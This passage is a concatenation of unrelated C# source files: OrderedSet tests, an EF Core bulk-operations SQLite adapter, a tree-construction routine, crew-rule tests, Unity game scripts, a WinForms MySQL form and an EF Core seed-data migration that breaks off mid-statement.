Assert.AreEqual(2, orderedSet.Count);
// Act
var removed = orderedSet.Remove(21);
// Assert
Assert.IsFalse(removed);
Assert.AreEqual(2, orderedSet.Count);
}
public void Remove_5000_Elements_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
var listInt = new List<int>();
var count = 5000;
for (int i = 0; i < count; i++)
{
listInt.Add(i);
orderedSet.Add(i);
}
// Assert
Assert.AreEqual(count, orderedSet.Count);
// Act & Assert
foreach (var i in listInt)
{
orderedSet.Remove(i);
count--;
Assert.AreEqual(count, orderedSet.Count);
}
// Assert
var expectedElements = new List<int>();
var actualElements = orderedSet.ToList();
CollectionAssert.AreEquivalent(expectedElements, actualElements);
}
public void Clear_ShouldWorkCorrectly()
{
// Arrange
var orderedSet = new OrderedSet<int>();
// Assert
Assert.AreEqual(0, orderedSet.Count);
// Act
orderedSet.Clear();
// Assert
Assert.AreEqual(0, orderedSet.Count);
// Arrange
orderedSet.Add(5);
orderedSet.Add(7);
orderedSet.Add(3);
// Assert
Assert.AreEqual(3, orderedSet.Count);
// Act
orderedSet.Clear();
// Assert
Assert.AreEqual(0, orderedSet.Count);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Threading;
using System.Threading.Tasks;
using EFCore.BulkExtensions.SqlAdapters;
using Microsoft.Data.Sqlite;
using Microsoft.EntityFrameworkCore;
namespace EFCore.BulkExtensions.SQLAdapters.SQLite
{
public class SqLiteOperationsAdapter: ISqlOperationsAdapter
{
public void Insert<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, Action<decimal> progress)
{
var connection = OpenAndGetSqliteConnection(context, tableInfo.BulkConfig);
bool doExplicitCommit = false;
try
{
if (context.Database.CurrentTransaction == null)
{
//context.Database.UseTransaction(connection.BeginTransaction());
doExplicitCommit = true;
}
var transaction = (SqliteTransaction)(context.Database.CurrentTransaction == null ?
connection.BeginTransaction() :
context.Database.CurrentTransaction.GetUnderlyingTransaction(tableInfo.BulkConfig));
var command = GetSqliteCommand(context, type, entities, tableInfo, connection, transaction);
type = tableInfo.HasAbstractList ? entities[0].GetType() : type;
int rowsCopied = 0;
foreach (var item in entities)
{
LoadSqliteValues(tableInfo, item, command, context);
command.ExecuteNonQuery();
ProgressHelper.SetProgress(ref rowsCopied, entities.Count, tableInfo.BulkConfig, progress);
}
if (doExplicitCommit)
{
transaction.Commit();
}
}
finally
{
context.Database.CloseConnection();
}
}
public async Task InsertAsync<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, Action<decimal> progress,
CancellationToken cancellationToken)
{
var connection = await OpenAndGetSqliteConnectionAsync(context, tableInfo.BulkConfig, cancellationToken).ConfigureAwait(false);
bool doExplicitCommit = false;
try
{
if (context.Database.CurrentTransaction == null)
{
//context.Database.UseTransaction(connection.BeginTransaction());
doExplicitCommit = true;
}
var transaction = (SqliteTransaction)(context.Database.CurrentTransaction == null ?
connection.BeginTransaction() :
context.Database.CurrentTransaction.GetUnderlyingTransaction(tableInfo.BulkConfig));
var command = GetSqliteCommand(context, type, entities, tableInfo, connection, transaction);
type = tableInfo.HasAbstractList ? entities[0].GetType() : type;
int rowsCopied = 0;
foreach (var item in entities)
{
LoadSqliteValues(tableInfo, item, command, context);
await command.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
ProgressHelper.SetProgress(ref rowsCopied, entities.Count, tableInfo.BulkConfig, progress);
}
if (doExplicitCommit)
{
transaction.Commit();
}
}
finally
{
await context.Database.CloseConnectionAsync().ConfigureAwait(false);
}
}
public void Merge<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, OperationType operationType,
Action<decimal> progress) where T : class
{
var connection = OpenAndGetSqliteConnection(context, tableInfo.BulkConfig);
bool doExplicitCommit = false;
try
{
if (context.Database.CurrentTransaction == null)
{
//context.Database.UseTransaction(connection.BeginTransaction());
doExplicitCommit = true;
}
var transaction = (SqliteTransaction)(context.Database.CurrentTransaction == null ?
connection.BeginTransaction() :
context.Database.CurrentTransaction.GetUnderlyingTransaction(tableInfo.BulkConfig));
var command = GetSqliteCommand(context, type, entities, tableInfo, connection, transaction);
type = tableInfo.HasAbstractList ? entities[0].GetType() : type;
int rowsCopied = 0;
foreach (var item in entities)
{
LoadSqliteValues(tableInfo, item, command, context);
command.ExecuteNonQuery();
ProgressHelper.SetProgress(ref rowsCopied, entities.Count, tableInfo.BulkConfig, progress);
}
if (operationType != OperationType.Delete && tableInfo.BulkConfig.SetOutputIdentity && tableInfo.IdentityColumnName != null)
{
command.CommandText = SqlQueryBuilderSqlite.SelectLastInsertRowId();
long lastRowIdScalar = (long)command.ExecuteScalar();
string identityPropertyName = tableInfo.IdentityColumnName;
var identityPropertyInteger = false;
var identityPropertyUnsigned = false;
var identityPropertyByte = false;
var identityPropertyShort = false;
if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(ulong))
{
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(uint))
{
identityPropertyInteger = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(int))
{
identityPropertyInteger = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(ushort))
{
identityPropertyShort = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(short))
{
identityPropertyShort = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(byte))
{
identityPropertyByte = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(sbyte))
{
identityPropertyByte = true;
}
for (int i = entities.Count - 1; i >= 0; i--)
{
if (identityPropertyByte)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (byte)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (sbyte)lastRowIdScalar);
}
else if (identityPropertyShort)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (ushort)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (short)lastRowIdScalar);
}
else if (identityPropertyInteger)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (uint)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (int)lastRowIdScalar);
}
else
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (ulong)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], lastRowIdScalar);
}
lastRowIdScalar--;
}
}
if (doExplicitCommit)
{
transaction.Commit();
}
}
finally
{
context.Database.CloseConnection();
}
}
public async Task MergeAsync<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, OperationType operationType,
Action<decimal> progress, CancellationToken cancellationToken) where T : class
{
var connection = await OpenAndGetSqliteConnectionAsync(context, tableInfo.BulkConfig, cancellationToken).ConfigureAwait(false);
bool doExplicitCommit = false;
try
{
if (context.Database.CurrentTransaction == null)
{
//context.Database.UseTransaction(connection.BeginTransaction());
doExplicitCommit = true;
}
var transaction = (SqliteTransaction)(context.Database.CurrentTransaction == null ?
connection.BeginTransaction() :
context.Database.CurrentTransaction.GetUnderlyingTransaction(tableInfo.BulkConfig));
var command = GetSqliteCommand(context, type, entities, tableInfo, connection, transaction);
type = tableInfo.HasAbstractList ? entities[0].GetType() : type;
int rowsCopied = 0;
foreach (var item in entities)
{
LoadSqliteValues(tableInfo, item, command, context);
await command.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
ProgressHelper.SetProgress(ref rowsCopied, entities.Count, tableInfo.BulkConfig, progress);
}
if (operationType != OperationType.Delete && tableInfo.BulkConfig.SetOutputIdentity && tableInfo.IdentityColumnName != null)
{
command.CommandText = SqlQueryBuilderSqlite.SelectLastInsertRowId();
long lastRowIdScalar = (long)await command.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false);
string identityPropertyName = tableInfo.PropertyColumnNamesDict.SingleOrDefault(a => a.Value == tableInfo.IdentityColumnName).Key;
var identityPropertyInteger = false;
var identityPropertyUnsigned = false;
var identityPropertyByte = false;
var identityPropertyShort = false;
if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(ulong))
{
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(uint))
{
identityPropertyInteger = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(int))
{
identityPropertyInteger = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(ushort))
{
identityPropertyShort = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(short))
{
identityPropertyShort = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(byte))
{
identityPropertyByte = true;
identityPropertyUnsigned = true;
}
else if (tableInfo.FastPropertyDict[identityPropertyName].Property.PropertyType == typeof(sbyte))
{
identityPropertyByte = true;
}
for (int i = entities.Count - 1; i >= 0; i--)
{
if (identityPropertyByte)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (byte)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (sbyte)lastRowIdScalar);
}
else if (identityPropertyShort)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (ushort)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (short)lastRowIdScalar);
}
else if (identityPropertyInteger)
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (uint)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (int)lastRowIdScalar);
}
else
{
if (identityPropertyUnsigned)
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], (ulong)lastRowIdScalar);
else
tableInfo.FastPropertyDict[identityPropertyName].Set(entities[i], lastRowIdScalar);
}
lastRowIdScalar--;
}
}
if (doExplicitCommit)
{
transaction.Commit();
}
}
finally
{
await context.Database.CloseConnectionAsync().ConfigureAwait(false);
}
}
public void Read<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, Action<decimal> progress) where T : class
{
throw new NotImplementedException();
}
public Task ReadAsync<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, Action<decimal> progress,
CancellationToken cancellationToken) where T : class
{
throw new NotImplementedException();
}
public void Truncate(DbContext context, TableInfo tableInfo)
{
context.Database.ExecuteSqlRaw(SqlQueryBuilder.DeleteTable(tableInfo.FullTableName));
}
public async Task TruncateAsync(DbContext context, TableInfo tableInfo)
{
await context.Database.ExecuteSqlRawAsync(SqlQueryBuilder.DeleteTable(tableInfo.FullTableName));
}
#region SqliteData
internal static SqliteCommand GetSqliteCommand<T>(DbContext context, Type type, IList<T> entities, TableInfo tableInfo, SqliteConnection connection, SqliteTransaction transaction)
{
SqliteCommand command = connection.CreateCommand();
command.Transaction = transaction;
var operationType = tableInfo.BulkConfig.OperationType;
switch (operationType)
{
case OperationType.Insert:
command.CommandText = SqlQueryBuilderSqlite.InsertIntoTable(tableInfo, OperationType.Insert);
break;
case OperationType.InsertOrUpdate:
command.CommandText = SqlQueryBuilderSqlite.InsertIntoTable(tableInfo, OperationType.InsertOrUpdate);
break;
case OperationType.InsertOrUpdateDelete:
throw new NotSupportedException("Sqlite supports only UPSERT(analog for MERGE WHEN MATCHED) but does not have functionality to do: 'WHEN NOT MATCHED BY SOURCE THEN DELETE'" +
"What can be done is to read all Data, find rows that are not in input List, then with those do the BulkDelete.");
case OperationType.Update:
command.CommandText = SqlQueryBuilderSqlite.UpdateSetTable(tableInfo);
break;
case OperationType.Delete:
command.CommandText = SqlQueryBuilderSqlite.DeleteFromTable(tableInfo);
break;
}
type = tableInfo.HasAbstractList ? entities[0].GetType() : type;
var entityType = context.Model.FindEntityType(type);
var entityPropertiesDict = entityType.GetProperties().Where(a => tableInfo.PropertyColumnNamesDict.ContainsKey(a.Name)).ToDictionary(a => a.Name, a => a);
var properties = type.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
foreach (var property in properties)
{
if (entityPropertiesDict.ContainsKey(property.Name))
{
var propertyEntityType = entityPropertiesDict[property.Name];
string columnName = propertyEntityType.GetColumnName();
var propertyType = Nullable.GetUnderlyingType(property.PropertyType) ?? property.PropertyType;
/*var sqliteType = SqliteType.Text; // "String" || "Decimal" || "DateTime"
if (propertyType.Name == "Int16" || propertyType.Name == "Int32" || propertyType.Name == "Int64")
sqliteType = SqliteType.Integer;
if (propertyType.Name == "Float" || propertyType.Name == "Double")
sqliteType = SqliteType.Real;
if (propertyType.Name == "Guid" )
sqliteType = SqliteType.Blob; */
var parameter = new SqliteParameter($"@{columnName}", propertyType); // ,sqliteType // ,null
command.Parameters.Add(parameter);
}
}
var shadowProperties = tableInfo.ShadowProperties;
foreach (var shadowProperty in shadowProperties)
{
var parameter = new SqliteParameter($"@{shadowProperty}", typeof(string));
command.Parameters.Add(parameter);
}
command.Prepare(); // Not Required (check if same efficiency when removed)
return command;
}
internal static void LoadSqliteValues<T>(TableInfo tableInfo, T entity, SqliteCommand command, DbContext dbContext)
{
var propertyColumnsDict = tableInfo.PropertyColumnNamesDict;
foreach (var propertyColumn in propertyColumnsDict)
{
var isShadowProperty = tableInfo.ShadowProperties.Contains(propertyColumn.Key);
object value;
if (!isShadowProperty)
{
if (propertyColumn.Key.Contains(".")) // ToDo: change IF clause to check for NavigationProperties, optimise, integrate with same code segment from LoadData method
{
var ownedPropertyNameList = propertyColumn.Key.Split('.');
var ownedPropertyName = ownedPropertyNameList[0];
var subPropertyName = ownedPropertyNameList[1];
var ownedFastProperty = tableInfo.FastPropertyDict[ownedPropertyName];
var ownedProperty = ownedFastProperty.Property;
var propertyType = Nullable.GetUnderlyingType(ownedProperty.GetType()) ?? ownedProperty.GetType();
if (!command.Parameters.Contains("@" + propertyColumn.Value))
{
var parameter = new SqliteParameter($"@{propertyColumn.Value}", propertyType);
command.Parameters.Add(parameter);
}
if (ownedProperty == null)
{
value = null;
}
else
{
var ownedPropertyValue = entity == null ? null : tableInfo.FastPropertyDict[ownedPropertyName].Get(entity);
var subPropertyFullName = $"{ownedPropertyName}_{subPropertyName}";
value = ownedPropertyValue == null ? null : tableInfo.FastPropertyDict[subPropertyFullName]?.Get(ownedPropertyValue);
}
}
else
{
value = tableInfo.FastPropertyDict[propertyColumn.Key].Get(entity);
}
}
else
{
if (tableInfo.BulkConfig.EnableShadowProperties)
{
// Get the sahdow property value
value = dbContext.Entry(entity).Property(propertyColumn.Key).CurrentValue;
}
else
{
// Set the value for the discriminator column
value = entity.GetType().Name;
}
}
if (tableInfo.ConvertibleProperties.ContainsKey(propertyColumn.Key) && value != DBNull.Value)
{
value = tableInfo.ConvertibleProperties[propertyColumn.Key].ConvertToProvider.Invoke(value);
}
command.Parameters[$"@{propertyColumn.Value}"].Value = value ?? DBNull.Value;
}
}
internal static async Task<SqliteConnection> OpenAndGetSqliteConnectionAsync(DbContext context, BulkConfig bulkConfig, CancellationToken cancellationToken)
{
await context.Database.OpenConnectionAsync(cancellationToken).ConfigureAwait(false);
return (SqliteConnection)context.Database.GetDbConnection();
}
internal static SqliteConnection OpenAndGetSqliteConnection(DbContext context, BulkConfig bulkConfig)
{
context.Database.OpenConnection();
return (SqliteConnection)context.Database.GetDbConnection();
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Infra;
namespace Console2.G_Code
{
public class G_008_PrePostOrder
{
/*
*
* Given preorder and inorder traversal of a tree, construct the binary tree.
*/
public TreeNode ConstructTree(int[] preorder, int preStart, int preEnd, int[] inorder, int inStart, int inEnd)
{
if (preStart > preEnd) return null;
if (inStart > inEnd) return null;
int value = preorder[preStart];
int indexOfValue = -1;
for (int i = inStart; i <= inEnd; i++)
{
if (inorder[i] == value)
{
indexOfValue = i;
break;
}
}
if (indexOfValue == -1) throw new Exception();
TreeNode root = new TreeNode(value);
int leftLength = indexOfValue - inStart;
int rightLength = inEnd - indexOfValue;
root.LeftChild = ConstructTree(preorder, preStart + 1, preStart + leftLength, inorder, inStart, indexOfValue - 1);
root.RightChild = ConstructTree(preorder, preStart + leftLength + 1, preEnd, inorder, indexOfValue + 1, inEnd);
return root;
}
}
}
|
using kelvinho_airlines.Entities.CrewMembers;
using kelvinho_airlines.Utils;
using System.Collections.Generic;
using Xunit;
namespace Tests.Utils
{
public class CrewCheckerTests
{
[Fact]
public void Should_return_false_when_two_incompatible_crew_members_are_alone()
{
var incompatibleCrewMembers = new List<CrewMember>
{
new Pilot("pilot"),
new FlightAttendant("flightAttendant")
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(incompatibleCrewMembers);
Assert.False(result);
}
[Fact]
public void Should_return_true_when_it_has_incompatible_crew_members_but_they_are_not_alone()
{
var crewMembers = new List<CrewMember>
{
new Pilot("pilot"),
new FlightAttendant("flightAttendant"),
new Officer("officer")
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.True(result);
}
[Fact]
public void Should_return_false_when_it_has_more_than_two_crew_members_but_they_are_imcompatible()
{
var crewMembers = new List<CrewMember>
{
new Pilot("pilot"),
new FlightAttendant("flightAttendant"),
new FlightAttendant("flightAttendant")
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.False(result);
}
[Fact]
public void Should_return_false_when_it_has_a_prisoner_and_does_not_have_a_policeman()
{
var crewMembers = new List<CrewMember>
{
new Prisoner("prisoner")
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.False(result);
}
[Fact]
public void Should_return_true_when_it_has_a_prisoner_but_also_a_policeman()
{
var crewMembers = new List<CrewMember>
{
new Prisoner("prisoner"),
new Policeman("policeman")
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.True(result);
}
[Fact]
public void Should_return_true_when_all_crew_members_are_allowed()
{
var crewMembers = new List<CrewMember>
{
new Pilot("pilot"),
new Officer("flightAttendant"),
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.True(result);
}
[Fact]
public void Should_accept_null_crew_member_list()
{
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(null);
Assert.True(result);
}
[Fact]
public void Should_disregard_null_elements()
{
var crewMembers = new List<CrewMember>
{
new Pilot("pilot"),
new Officer("flightAttendant"),
null
};
var result = CrewChecker.CrewMembersAreAllowedToStayTogether(crewMembers);
Assert.True(result);
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using UnityEngine;
public class InterfaceController : MonoBehaviour
{
public static Dictionary<string, Transform> Menus = new Dictionary<string, Transform>();
// Start is called before the first frame update
private static List<string> names = new List<string>();
void Start()
{
names.Add("GameMenu".ToLower());
names.Add("InventoryMenu".ToLower());
names.Add("EnterMenu".ToLower());
foreach (var name in names)
{
Menus[name.ToLower()] = GetComponentsInChildren<Transform>(true).Where(x => x.name.ToLower() == name.ToLower()).FirstOrDefault();
}
Menus[names[0]].gameObject.AddComponent<GameMenuController>();
Menus[names[1]].gameObject.AddComponent<InventoryMenuController>();
Menus[names[2]].gameObject.AddComponent<EnterMenuController>();
CloseMenus();
StartCoroutine(WaitLoad());
}
private IEnumerator WaitLoad()
{
while (!Downloader.ready)
{
yield return null;
}
Menus[names[0]].GetComponent<Menu>().Open();
}
public static void OpenMenu(string menuName,bool closeOther=true)
{
Menus[menuName.ToLower()].GetComponent<Menu>().Open(closeOther);
}
public static void CloseMenus()
{
foreach (var name in names)
{
Menus[name].GetComponent<Menu>().Close();
}
}
// Update is called once per frame
void Update()
{
if (Input.GetKey(KeyCode.Escape))
{
OpenMenu("GameMenu");
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
namespace Common.SmartThread
{
public class SmartThread
{
private List<Thread> threadList = new List<Thread>();
public void Invoke(ParameterizedThreadStart func)
{
Thread thread = new Thread(func);
thread.IsBackground = true;
thread.Start();
threadList.Add(thread);
}
public void Wait(int sec = 60)
{
DateTime currentTime = DateTime.Now;
while (threadList.Where(d => d.IsAlive).Count() > 0 && currentTime.AddSeconds(sec) > DateTime.Now)
{
Thread.Sleep(100);
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using System.Configuration;
using MySql.Data.MySqlClient;
namespace Tes4.GUI.Management
{
public partial class TreatmentCost : DevExpress.XtraEditors.XtraForm
{
private static MySqlConnection dbConn;
public void InitializeDB()
{
string connString = ConfigurationManager.AppSettings["MySQL"];
Console.WriteLine(connString);
dbConn = new MySqlConnection(connString);
Application.ApplicationExit += (sender, args) =>
{
if (dbConn != null)
{
dbConn.Dispose();
dbConn = null;
}
};
}
public TreatmentCost()
{
InitializeComponent();
InitializeDB();
}
private void button1_Click(object sender, EventArgs e)
{
if(string.IsNullOrWhiteSpace(treatcostTxt.Text))
{
errorProvider1.SetError(treatcostTxt, "Ô nhập trống");
return;
}
else if (!System.Text.RegularExpressions.Regex.IsMatch(treatcostTxt.Text, "^[0-9]*$"))
{
errorProvider1.SetError(treatcostTxt, "Phải đảm bảo là CÁC CHỮ SỐ");
}
else
{
errorProvider1.SetError(treatcostTxt, "");
String query = string.Format("ALTER TABLE Bill ALTER treatment SET DEFAULT '{0}'",
treatcostTxt.Text);
MySqlCommand cmd = new MySqlCommand(query, dbConn);
dbConn.Open();
cmd.ExecuteNonQuery();
dbConn.Close();
MessageBox.Show("Thônng báo", "Thành công", MessageBoxButtons.OK, MessageBoxIcon.Information);
this.Close();
}
}
private void cancelBtn_Click(object sender, EventArgs e)
{
this.Close();
}
private void treatcostTxt_TextChanged(object sender, EventArgs e)
{
if (!System.Text.RegularExpressions.Regex.IsMatch(treatcostTxt.Text, "^[0-9]*$"))
{
errorProvider1.SetError(treatcostTxt, "Phải đảm bảo là CÁC CHỮ SỐ");
}
else
errorProvider1.SetError(treatcostTxt, "");
}
}
} |
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
using System.Collections;
public class GameManager : MonoBehaviour {
public short game = 0;
public int score = 0;
int savedScore;
float timer = 0;
[SerializeField] AudioClip click;
[SerializeField] Sprite black;
[SerializeField] Text scoreText;
public Slider time;
public bool disabled, active;
[SerializeField] GameObject staticEffect;
private void Start()
{
scoreText = FindObjectOfType<Text>();
scoreText.text = score.ToString();
time = FindObjectOfType<Slider>();
foreach(GameManager gm in FindObjectsOfType<GameManager>())
{
if (gm != this)
{
if (gm.active)
{
Destroy(gameObject);
}
else
{
Destroy(gm.gameObject);
}
}
}
DontDestroyOnLoad(gameObject);
}
private void Update()
{
if (active && GameObject.FindGameObjectWithTag("Finish"))
{
GameObject.FindGameObjectWithTag("Finish").SetActive(false);
}
if (game == -1)
{
FindObjectOfType<Text>().text = savedScore.ToString();
}
if(game == -1 && !disabled && Input.anyKeyDown)
{
active = false;
savedScore = 0;
NextGame();
}
if (!scoreText)
{
scoreText = FindObjectOfType<Text>();
if (game != -1)
{
scoreText.text = score.ToString();
}
}
if (timer > 0)
{
timer -= Time.deltaTime;
}
else if (timer < 0)
{
timer = 0;
}
if (timer == 0 && game != -1)
{
time.enabled = false;
GameOver();
}
if (game != -1 && time != null)
{
time.value = (int)timer;
}
}
private void FixedUpdate()
{
if(game == 0)
{
if(GameObject.FindGameObjectWithTag("Ball").GetComponent<Rigidbody2D>().velocity.magnitude > 0)
{
if (!GameObject.FindGameObjectWithTag("Ball").GetComponent<Animator>().GetBool("Rolling"))
{
GameObject.FindGameObjectWithTag("Ball").GetComponent<Animator>().SetBool("Rolling", true);
}
}
else
{
if (GameObject.FindGameObjectWithTag("Ball").GetComponent<Animator>().GetBool("Rolling"))
{
GameObject.FindGameObjectWithTag("Ball").GetComponent<Animator>().SetBool("Rolling", false);
}
}
}
}
public void NextGame()
{
StartCoroutine(DisableControls(0.5f));
timer = 10;
score++;
short currGame = game;
StartCoroutine(Static());
while (currGame == game)
{
game = (short)Random.Range(0, 3);
}
switch(game)
{
case 0:
SceneManager.LoadScene("Football");
//FindObjectOfType<Move>().GetGame(game);
break;
case 1:
SceneManager.LoadScene("Kayak");
//FindObjectOfType<Move>().GetGame(game);
break;
case 2:
SceneManager.LoadScene("Cricket");
//FindObjectOfType<Move>().GetGame(game);
break;
}
//time = FindObjectOfType<Slider>();
//time.value = timer;
}
IEnumerator Static()
{
FindObjectOfType<AudioSource>().Play();
staticEffect.SetActive(true);
GetComponentInChildren<Animator>().Play("StaticScreen", 0);
yield return new WaitForSeconds(0.75f);
staticEffect.SetActive(false);
}
public void GameOver()
{
game = -1;
StartCoroutine(DisableControls(1f));
active = true;
SceneManager.LoadScene("Off");
staticEffect.SetActive(true);
GetComponent<AudioSource>().PlayOneShot(click);
GetComponentInChildren<Animator>().Play("SwitchOff", 0);
savedScore = score;
score = 0;
}
public IEnumerator DisableControls(float delay)
{
disabled = true;
yield return new WaitForSeconds(delay);
disabled = false;
}
}
|
using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace Shop.Web.Migrations
{
public partial class Update_Shop_List : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 1,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 180.0, new DateTime(2019, 9, 3, 0, 27, 23, 617, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 2,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 957.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 3,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 203.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 4,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 715.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 5,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 386.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 6,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 94.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 7,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 873.0, new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 8,
columns: new[] { "Distance", "ImageUrl", "Timestamp" },
values: new object[] { 209.0, "https://www.moneyweb.co.za/wp-content/uploads/2014/07/Pick-n-pay-3-2-Large1-500x333.jpg", new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) });
migrationBuilder.InsertData(
table: "Shops",
columns: new[] { "Id", "Description", "Distance", "ImageUrl", "MetricUnit", "Name", "Timestamp" },
values: new object[,]
{
{ 9, "Large retail store", 534.0, "https://media.bizj.us/view/img/425831/target*750xx600-338-0-19.jpg", "Km", "Target", new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) },
{ 10, "Chain of hypermarkets", 357.0, "https://n4f9d4s8.stackpathcdn.com/wp-content/uploads/2019/08/Walmart.jpg", "Km", "Walmart", new DateTime(2019, 9, 3, 0, 27, 23, 636, DateTimeKind.Local) }
});
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DeleteData(
table: "Shops",
keyColumn: "Id",
keyValue: 9);
migrationBuilder.DeleteData(
table: "Shops",
keyColumn: "Id",
keyValue: 10);
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 1,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 236.0, new DateTime(2019, 9, 2, 9, 13, 38, 819, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 2,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 708.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 3,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 21.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 4,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 613.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
table: "Shops",
keyColumn: "Id",
keyValue: 5,
columns: new[] { "Distance", "Timestamp" },
values: new object[] { 715.0, new DateTime(2019, 9, 2, 9, 13, 38, 820, DateTimeKind.Local) });
migrationBuilder.UpdateData(
